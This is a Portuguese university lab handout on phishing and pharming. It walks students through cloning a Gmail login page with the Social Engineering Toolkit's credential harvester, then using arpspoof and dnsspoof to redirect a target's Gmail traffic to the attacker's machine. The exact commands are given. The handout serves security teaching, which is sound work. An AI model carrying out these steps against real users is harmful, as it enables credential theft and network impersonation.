Phishing & Pharming

Roberto Sadao Yokoyama

UTFPR-CP

Setembro, 2016

Prática de hoje:[1]

[1] Baseado no exemplo do livro: Weidman[1]

Phishing & Pharming

Objetivo

1) A primeira parte desta prática é utilizar a ferramenta *Social Engineering Tookit* (SET) para fazer a cópia de uma página Web
2) A segunda parte é fazer uma combinação do ataque *man-in-the-middle* para personificar o *gateway* da rede e depois envenenar o DNS do cliente.

"users are the vulnerability that can never be patched"

SET

- Possibilita testar ataques de phishing principalmente por e-mail e páginas web. Por exemplo:
  - Spear-Phishing: cria um arquivo malicioso, envia e-mails para as vítimas e prepara o metasploit para receber a conexão
  - Website Attack: cria uma página web maliciosa

Passos:

- Iniciando SET: *setoolkit*
- Selecione as opções na sequência:
  1) *social-engineering attacks*
  2) *website attack*
  3) *credencial harvester*

SET

Configurando credencial harvester:

- Criando o site
- Fornecendo o IP do servidor (site phishing) em que as credenciais serão fornecidas

Passos:

1) *web templates*
2) *IP address* (Ex. IP do seu Kali)
3) *Gmail*

SET

Iniciando o servidor web:

1) *service apache2 start*

Quando o usuário submeter a página, o SET irá destacar os campos que ele achar interessante. Neste caso, ele vai identificar **e-mail** e **passwd** que foram submetidos.

Arpspoof

Personificar o gateway da rede:

- Habilitar o roteamento do Kali
  echo 1 > /proc/sys/net/ipv4/ip_forward
- Descobrir o IP do gateway
- Descobrir o IP da máquina alvo

Ferramenta arpspoof:

1) *arpspoof -i eth0 -t [IP alvo] [IP gateway]*
2) *arpspoof -i eth0 -t [IP gateway] [IP alvo]*

DNSspoof

Envenenar o DNS:

- Criar o arquivo de resolução de nomes de domínios que queremos modificar
- Iniciar as tentativas de DNS cache poisoning

Ferramenta arpspoof:

1) *vim hosts.txt*
   IP do servidor (ex. kali) www.gmail.com
2) *dnsspoof -i eth0 -f hosts.txt*

Na máquina alvo você pode testar usando o nslookup, o endereço IP retornado para www.gmail.com deverá ser o endereço configurado no nosso arquivo hosts.txt

Referências

[1] G. Weidman. *Teste de Invasão: Uma Introdução prática ao hacking*. Novatec, 2014.